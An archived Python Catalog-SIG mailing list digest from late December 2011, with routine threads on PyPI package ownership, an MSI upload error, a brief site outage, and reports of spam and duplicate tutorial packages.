From ash at newthink.net Fri Dec 23 18:13:16 2011
From: ash at newthink.net (Ash Christopher)
Date: Fri, 23 Dec 2011 10:13:16 -0700
Subject: [Catalog-sig] Python Packages on PyPi no longer attributed to my
account.
Message-ID: <9A32E7C6-782C-4656-A1A0-6583C8FCFD45@gmail.com>
Hi catalog-sig,
Noticed an issue where one of my packages isn't attributed to my PyPi account.
http://pypi.python.org/pypi/django-clean/ <--- this is attached to my account
http://pypi.python.org/pypi/django-concurrent-server/ <--- this is not attached
I am trying to submit an update to django-concurrent-server but obviously since it isn't on my account it is rejected.
Is there any way to rectify this?
Ash
From martin at v.loewis.de Mon Dec 26 14:30:19 2011
From: martin at v.loewis.de (martin at v.loewis.de)
Date: Mon, 26 Dec 2011 14:30:19 +0100
Subject: [Catalog-sig] Python Packages on PyPi no longer attributed to
my account.
In-Reply-To: <9A32E7C6-782C-4656-A1A0-6583C8FCFD45@gmail.com>
References: <9A32E7C6-782C-4656-A1A0-6583C8FCFD45@gmail.com>
Message-ID: <20111226143019.Horde.LgO0ftjz9kRO_Hbrwvd0HCA@webmail.df.eu>
Zitat von Ash Christopher <ash at newthink.net>:
> Hi catalog-sig,
>
> Noticed an issue where one of my packages isn't attributed to my
> PyPi account.
>
> http://pypi.python.org/pypi/django-clean/ <--- this is attached
> to my account
> http://pypi.python.org/pypi/django-concurrent-server/ <--- this
> is not attached
>
> I am trying to submit an update to django-concurrent-server but
> obviously since it isn't on my account it is rejected.
>
> Is there any way to rectify this?
I'm not sure why you say "no longer". AFAICT, django-concurrent-server
was created and uploaded by user 'bancek'; you never had a role in this.
To fix this, you need to talk to 'bancek' and ask him to adjust the
package ownership.
Regards,
Martin
From songofacandy at gmail.com Tue Dec 27 13:05:34 2011
From: songofacandy at gmail.com (INADA Naoki)
Date: Tue, 27 Dec 2011 21:05:34 +0900
Subject: [Catalog-sig] Can't upload MSI file via web form.
Message-ID: <CAEfz+TyVVCpho9wDRRN6y7TQ76ZZ9wjY0Me9K_fNEGK8LgcBcw@mail.gmail.com>
I want to upload binary distribution for my package in MSI format.
But PyPI shows::
"""
Error processing form
invalid distribution file
"""
What's wrong?
--
INADA Naoki? <songofacandy at gmail.com>
From martin at v.loewis.de Wed Dec 28 10:41:03 2011
From: martin at v.loewis.de (martin at v.loewis.de)
Date: Wed, 28 Dec 2011 10:41:03 +0100
Subject: [Catalog-sig] Can't upload MSI file via web form.
In-Reply-To: <CAEfz+TyVVCpho9wDRRN6y7TQ76ZZ9wjY0Me9K_fNEGK8LgcBcw@mail.gmail.com>
References: <CAEfz+TyVVCpho9wDRRN6y7TQ76ZZ9wjY0Me9K_fNEGK8LgcBcw@mail.gmail.com>
Message-ID: <20111228104103.Horde.zD2-C1NNcXdO_uQvyQbDhwA@webmail.df.eu>
Zitat von INADA Naoki <songofacandy at gmail.com>:
> I want to upload binary distribution for my package in MSI format.
> But PyPI shows::
>
> """
> Error processing form
>
> invalid distribution file
> """
>
> What's wrong?
You didn't say what exactly you did, so it's difficult to say what's
wrong. Most likely, you didn't specify "MS Windows MSI Installer" for
"File Type". Alternatively, the file may not be an MSI file, or there
may be a bug in PyPI.
Regards,
Martin
From walterwefft at gmail.com Fri Dec 30 13:55:01 2011
From: walterwefft at gmail.com (gflanagan)
Date: Fri, 30 Dec 2011 12:55:01 +0000
Subject: [Catalog-sig] pypi not accessible 30th Dec 2011 12:51 GMT
Message-ID: <jdkcb5$sbl$1@dough.gmane.org>
http://www.downforeveryoneorjustme.com/http://pypi.python.org/
From tjreedy at udel.edu Fri Dec 30 23:42:39 2011
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 30 Dec 2011 17:42:39 -0500
Subject: [Catalog-sig] pypi not accessible 30th Dec 2011 12:51 GMT
In-Reply-To: <jdkcb5$sbl$1@dough.gmane.org>
References: <jdkcb5$sbl$1@dough.gmane.org>
Message-ID: <jdlep6$oub$1@dough.gmane.org>
On 12/30/2011 7:55 AM, gflanagan wrote:
>
>
> http://www.downforeveryoneorjustme.com/http://pypi.python.org/
Back up now. Thanks whoever worked on today's problems.
--
Terry Jan Reedy
From chris at simplistix.co.uk Sat Dec 31 12:29:44 2011
From: chris at simplistix.co.uk (Chris Withers)
Date: Sat, 31 Dec 2011 11:29:44 +0000
Subject: [Catalog-sig] bunch of spam packages
Message-ID: <4EFEF228.8040907@simplistix.co.uk>
http://pypi.python.org/pypi/girlfriends/1.0
http://pypi.python.org/pypi/house/0.9
http://pypi.python.org/pypi/hardwork/0.9
http://pypi.python.org/pypi/car/0.9
...all spamvertising the same website.
While we're at it, can we get rid of the stupid nested list printers again:
http://pypi.python.org/pypi?%3Aaction=search&term=nested+lists&submit=search
cheers,
Chris
--
Simplistix - Content Management, Batch Processing & Python Consulting
- http://www.simplistix.co.uk
From tjreedy at udel.edu Sat Dec 31 23:14:28 2011
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 31 Dec 2011 17:14:28 -0500
Subject: [Catalog-sig] bunch of spam packages
In-Reply-To: <4EFEF228.8040907@simplistix.co.uk>
References: <4EFEF228.8040907@simplistix.co.uk>
Message-ID: <jdo1gd$dau$1@dough.gmane.org>
On 12/31/2011 6:29 AM, Chris Withers wrote:
> http://pypi.python.org/pypi/girlfriends/1.0
> http://pypi.python.org/pypi/house/0.9
> http://pypi.python.org/pypi/hardwork/0.9
> http://pypi.python.org/pypi/car/0.9
>
> ...all spamvertising the same website.
In chinese, making them really stupid.
The account should be deleted.
> While we're at it, can we get rid of the stupid nested list printers again:
>
> http://pypi.python.org/pypi?%3Aaction=search&term=nested+lists&submit=search
There are about 150 duplicate 'a simple printer of nested lists'
listings. Perhaps pypi needs to be first-package-registration moderated.
--
Terry Jan Reedy